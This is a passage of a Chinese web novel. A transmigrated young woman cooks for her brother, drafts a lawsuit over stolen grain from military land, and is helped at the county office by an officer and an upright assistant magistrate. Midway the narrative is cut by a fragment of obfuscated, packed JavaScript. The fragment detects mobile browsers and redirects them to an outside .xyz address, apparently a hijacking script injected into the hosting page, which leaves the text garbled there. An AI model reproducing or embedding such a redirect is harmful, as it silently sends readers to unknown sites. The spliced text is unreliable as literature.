眼下除了野葱没有旁的去腥,只能尽可能清洗干净。唐宛从灶膛取了些草木灰,将猪肺细细揉搓了一遍,又舀了井水,一遍遍地攥洗,直到不见一丝血水,才切成均匀的薄片儿。 切好的猪肺搭一小把打结的野葱丢进冷水里,灶膛里的火苗舔着锅底,不多时锅沿冒出缕缕热气,带出些微的腥甜味,待水滚了,唐宛捞出葱结,仔细撇去浮末,任由肺片在汤中翻滚,待汤色渐渐转白,才撒了一小撮盐,盖上了锅盖,不知不觉间浓郁的香气已经溢满小院。 唐睦在灶下添柴火,火光映着少年略带稚气的脸,他鼻尖轻微耸动,喉头轻轻咽了一下。 那头唐宛已经把提前焯后过了几遍凉水的野菜切得细碎,青翠的菜末儿堆在粗瓷碗里,散发出春天的气息。 她估计着火候差不多了,揭开锅盖,乳白的汤汁汩汩翻滚,肺片嫩滑,肉香裹挟着热气扑面而来。 唐宛舀了满满两大碗,撒上一把野葱花,青翠的碎末儿撒在乳白的汤头上,煞是好看。 唐睦忍不住站起身来。 “端到桌上去吧。”唐宛对他交待一声。 少年小心翼翼地捧着汤碗,忍着烫尽可能走得平稳,生怕泼洒了。待他忍着馋意回灶上时,唐宛已经将搅好的蛋液倒入锅内热油中,伴随“滋啦”一声,金黄蓬松的蛋花在锅中绽放,她迅速倒入切碎的野菜末儿,趁热快速翻炒,顿时迸发出一股说不出的清香,勾得人食指大动。 “阿姊,这野菜炒蛋好香!”唐睦忍不住凑近,眼睛亮晶晶地盯着这道原本没抱多少期待的新菜。 “吃着更香哦!”唐宛拿了个新碗盛出来,示意唐睦拿进去,又将锅内洗干净加了清水,从堂屋内阴凉处盖着布的竹篮中取出两个玉米饼,想了想又多拿了一个,放在竹篦子上蒸了片刻。 堂屋桌上,对面两碗猪肺汤,一碟子野菜炒鸡蛋,配上软韧香甜的饼子,虽然简单,却都很满足。 唐睦眼巴巴等唐宛洗了手过来,眼巴巴盯着她拿起筷子,唐宛疑惑看他:“怎么不吃?” “我等阿姊一起吃。” 唐宛莞尔一笑,说:“赶紧吃吧。” 少年应了一声,迫不及待喝了一口汤。滚烫的热汤滑过 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这一顿吃得肚子圆滚滚,唐宛在院子里溜达了两刻钟,才去灶上烧了热水。穿过来好几日了,今日才抽出空来仔细擦洗了身子。 唐家没有专门的浴房,或许放眼整个怀戎县也没几家有专门的浴房,她是在自己房间里用木盆洗的,当然有各种不便之处。 难免又生出诸多要改善生活质量的念头。 吴家的事当然要解决,可就算顺利,秋收也得等上半年,再者单靠地里的收成也未必能挣多少钱,想要过上好日子还得有其他进项才行。 心中盘算着各样想法,唐宛擦着头发出来,发现唐睦那头似乎也洗漱过了,不大的少年坐在堂屋桌前,一副心事重重的模样。 唐宛大概知道他的心思,便道:“别多想了,就按照计划,明日一早我们就去县衙,请官府处置此事吧。” 唐睦点头,却道:“我听说想请官府断案,得写好状书才行,可我不知道怎么写。” 唐宛沉吟道:“无妨,我们一起来拟。” 唐睦吃不准:“要写些什么?” 唐宛在现代时还真与人打过几场合同官司侵权官司,且都胜诉了。虽说时代不同,章程应该差不多,便把自己的思路大致说了一遍。 唐睦听着觉得有理,姐弟两个商议着办。唐宛口述,唐睦执笔,天黑一灯如豆,在唐爷爷以往为人书写家信的那张桌子上,他们竟还真的写出了一篇条理分明、有模有样的状书。 11. 开源节流 说是写了一晚诉状,其实睡前还不到亥时正,这让夜猫子唐宛很有些不适应,连着几日天不亮就醒来。 横竖躺着也是睁眼发呆,她索性掀了被子下炕,去院里转了几圈,回忆着动作做了一套广播体操。 等天色亮起,便去灶前查看。 昨儿从林子里采回的野葱还剩一点,收拾干净切得细细的,拌了鸡蛋和面粉调成面糊,起灶摊了几张薄薄的葱花饼。 唐睦闻着味儿出来时,唐宛正在冲蛋花汤。 “你醒啦?正好,洗把脸就能吃了。” 唐宛用折来的杨枝嚼了嚼,蘸些粗盐刷牙,舀了瓢冷水扑了扑了脸,一脸清爽坐到桌边,唐睦便迫不及待撕了半张还带着热气的饼子塞入口中。 “阿姊,说来也真怪,你最近的厨艺怎么这么好?” 唐宛微顿,喝了一口蛋花汤:“哪是我厨艺见长?你不瞧瞧,这饼里我放了多少鸡蛋和精面。” 唐睦一愣:“你还放鸡蛋了?” 难怪吃起来格外香甜。 他急忙去放鸡蛋的篮子里数了数,果真少了四个。昨儿去集市一共买了二十个鸡蛋,这才两天,就吃没了一半。 唐宛见他一副心疼的模样,失笑道:“回头集市上见着小鸡崽,买回来几只养着,自家下蛋吃,你就不心疼了。” 唐睦有些迟疑,低声道:“咱手头现在是有点余钱,但是不是该省着点儿花销?” 这两日又是精面又是鸡蛋的,昨日还喝了猪肺汤,吃起来自然很开心,可他心里却总有点不安。 唐宛心知,少年是过怕了苦日子,现在极度缺乏安全感。唐爷爷去世之后的这段时间,姐弟俩的日子确实不好过。 “不过吃几个鸡蛋,还算不上挥霍。节流不如开源,回头阿姊会想法子挣钱的。” 唐睦闻言心下略宽,急忙道:“我也会挣钱的。以后我就像阿爷那样去集上摆摊,帮人写信赚些家用。” “好啊。” 唐宛并不反对,唐睦以后要袭军户进军伍,并不能走科举路线,能够识文断字已经比很多人强了,不必刻意再请老师,不过以后有机会的话,倒是可以为他寻访一个武师父。 唐宛暗自把这事儿记下。 等吃过早饭,姐弟俩把家中账本找出来,跟状纸一起放好,唐宛摸了摸身上的几两散碎银子,对唐睦说:“走吧。” 姐弟俩还是打算租骡车去县衙。 出门时天色尚早,集市上十分热闹,最热闹还是各种卖吃食的摊位。 唐宛坐在骡车上两面瞧,发现集市上的早餐品类还不少。有支着铁鏊子现烙现炸的烧饼油饼,有热气腾腾在水里翻滚的馄饨手擀面,也有搭着桌子卖咸菜白粥馒头的,以及各种茶摊。 北境多驻军,军户来自南北各地,带来了不同地方的特色美食。 唐睦摸了摸圆滚滚的肚皮,笑着说:“得亏吃饱了再出来,不然这也太馋人了。” 唐宛笑着,目光却始终留意着那些摊位。 这集市不是很大,卖吃食的却不少,北境虽苦,可士兵拿命换钱,手头比寻常百姓富裕,生意都很不错。 她有心也来早市支个摊子,不过卖些什么好呢? 不待她想出个头绪来,骡车已经将热闹的集市抛在身后,继续往城东去。 东城相对更加干净整洁,街面就显得清净许多,道旁院落明显更宽敞些,这边住户通常是高阶军户和怀戎县的富户。 街上来往行人不多,临街铺子却并不少,有卖布匹成衣的,有卖粮食米面的,药铺、铁匠铺、南北杂货,应有尽有。 唐宛寻找商机的思路难免又发生了几分微妙变化。 唐睦在她身边坐着没说话,手时不时摸一摸怀里的账册和状纸,小小的年纪背挺得直直的,到底还是有些紧张。 他小声跟唐宛商量:“等会儿去了县衙,我们要怎么说?” 唐宛让他别担心。 “这件事本就我们占理,而且阿爷在军户中颇有声名,爹也是有战功在身的,再看吴家确实是无根基的流民,如果他们真以为咱们姐弟俩年幼好欺负,那就大错特错了。” 唐睦心知正是这个道理,情绪慢慢安定下来。 骡车在距离县衙百米开外之地就将姐弟俩放下,收了车钱就走了。 唐宛抬头,眯着眼将眼前的官衙打量了一番。 怀戎县衙灰瓦高墙,大门两侧立着两座威武的石狮子,朱漆大门紧闭,偏门虚掩着,有穿皂衣的衙役在门口看守。 自然比不得前世警卫保安站得那么笔挺,那衙役只颇为闲适地靠在墙边晒太阳。 见姐弟俩上前,斜眼看了过来,开口便是一声喝。 “走走走!县衙重地,闲人勿近。” 唐睦冷不丁被吼了声,脚下便顿住了。唐宛却往前半步,不卑不亢道:“官差大哥见谅,我们是来状告的。” 那衙役听了不以为然,一个十四五岁的女子和一个半大不小的孩子,能有什么冤情要诉,不耐烦道:“有什么不平之处,请你家大人来。” 唐宛抿了抿唇,温声道:“我家没有大人了。我们是军户遗孤,家中军田所产之粮被佃户恶意私吞多年,想请县太爷主持公道。” “军田?”衙役听到这些,再看姐弟俩,神色便带上了几分打量,半晌才道:“状纸可带了?” 唐宛看向唐睦,后者忙把怀中收好的状纸拿出来,双手递过去。 那衙役取了,展开煞有介事地看了好一会儿。唐宛原本耐心等待,眼角余光却扫到那状纸竟然被拿倒了,不禁有些无语。 这衙役分明不识字,装模作样看这半天,在看什么呢? 她眼眸微动,随即明白了什么,从袖中的荷包里摸出一角碎银,用袖口挡了塞进那衙役手中,低声说道:“官差大哥辛苦,还请劳烦帮我们通传一声。” 那衙役横扫了她一眼,总算是把状书收起来,没再多说什么,只道:“你们且在这等着,我去禀告县太爷。” 姐弟俩只得在官衙门外等候。没过多久,便换了一名年纪稍大的衙役出来接班看守。 唐宛寻思着上前问问情况,刚挪两步就被那衙役严肃喝止:“官衙重地,闲人勿近!” 姐弟俩无奈对视一眼,只得在远处树荫下等。 一直等到日上中天,眼看着晌午了,衙门里头却一点动静都没有,说是帮他们通传的衙役根本不见人影。 唐宛下定决心想要再问问情况,门口的衙役却冷冰冰道:“急什么,候着便是。” 唐宛正想再说几句,忽然听见身后有哒哒马蹄声由远及近,下意识回头看了一眼,却是一愣。 竟是陆铮。 棕褐色高头大马在县衙门口停下,一身青灰色军袍的男人翻身下马,一眼扫到正在跟衙役说话的唐宛,目光中流露瞬间的意外。 却没有多问,只略点了点头,算是打过了招呼,将马儿交给衙役,低声说了句什么,便径自抬脚进了县衙。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901876|176676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >唐宛见那衙役不敢怠慢、立即放行的模样,心内一动。 看来陆铮跟县衙里的人比较熟悉。她打算再等等,倘若今日一直等不到结果,就等陆铮出来,托他问问究竟是什么情况。 陆铮此番是为了春耕军需来找县丞范敬之的。因年年都要过来交接,他跟县衙的衙役们都混了个脸熟。 他在院内交了文书,等待范县丞过来的时候,不禁往外看了一眼,迟疑了一下,问身边的衙役:“门口那对姐弟是……” 偏就巧了,这衙役正是帮唐宛递状纸的王三,闻言便道:“说是家中军田被佃户私吞了粮食,请县太爷主持公道来的。” 陆铮便问:“那为何在外等候?” 王三冲官衙后的内宅努了努嘴,悄声道:“知县老爷深陷温柔乡,这会子还没起身呢。” 陆铮眉心微拧,并未作声。 怀戎县知县胡旭什么德行,县衙上下一清二楚,便是他这个偶尔过来办差的都有所耳闻,等这位胡大人出来断案,且不说要等到猴年马月,恐怕还要平白遭受一番盘剥。 范敬之从户房忙完出来,看见陆铮这幅模样,不免心中好奇。不过这陆小旗性子内敛,平日里沉默寡言,非必要情况半个字不肯多言,知晓问也是白问,就没说什么,只热情寒暄上来。 陆铮连忙收敛了心神,与他交接了正事。 虽有个荒唐长官,县衙却也不都是尸位素餐之辈。 这位范县丞倒是个清正廉洁的好官,陆铮思索片刻,还是将姐弟俩来状告的事情稍提了提。 佃户私吞军田产粮一案,说起来半大不小,未必非得知县大人裁判,说起来正是范敬之的职权之内的事。 范敬之心内却有些纳罕,笑道:“难得见陆小旗愿意管他人闲事。” 陆铮也觉自己此举似乎有些越界,不过一想到那女子连番被人欺辱,甚至想不通投了河,心中就有些难言滋味。 大概因为人是自己救上来的,难免多了几分关注罢。 这些内情他不愿与人多言,只道:“她祖父是唐怀远,早年间曾在军中担任书吏官,与范大人应属旧识。” “原来是他家。” 范敬之恍然。他跟唐怀远确是旧识,那唐书吏虽是文人,却有一副古道热肠,范敬之对他很是钦佩。唐怀远病逝的时候,范大人还托家中娘子送过奠仪。后来隐约听娘子说起唐家孙女遭陈家退婚一事,还私下嘀咕了几句,说当日奠仪不知落在了谁的手里。 如今听说唐家遗孤不仅被退婚,还被当日援助过的流民欺负,范敬之实在气愤,便遣王三取来状书,仔细看了。 看罢,范大人目露惊讶:“这状书是何人所写?虽不甚规范,却也简明扼要,十分清晰。倘若人人状书都写得这般清楚,办起案来倒是便宜许多。” 心中存着定要将写诉状之人问出来的念头,扭头对王三道:“你去将人带进来。” 陆铮在旁观望片刻,确信这案子范大人接手了,便开口道:“那我就先告退了。” 范大人疑惑:“你不留下来瞧一瞧情况再走?” 陆铮却道:“大人仁心爱民,案子到了您手中一定会得到一个公正处置,我这还有旁的事。” 范大人便不再强留。 陆铮刚出了大堂,便看到唐宛姐弟俩被王三引进来,两边打了个照面,唐宛和唐睦立即笑着招呼:“陆二哥!” 陆铮目光掠过女子乌黑明媚的眼眸,顿了一下,只点了点头,大步出了县衙。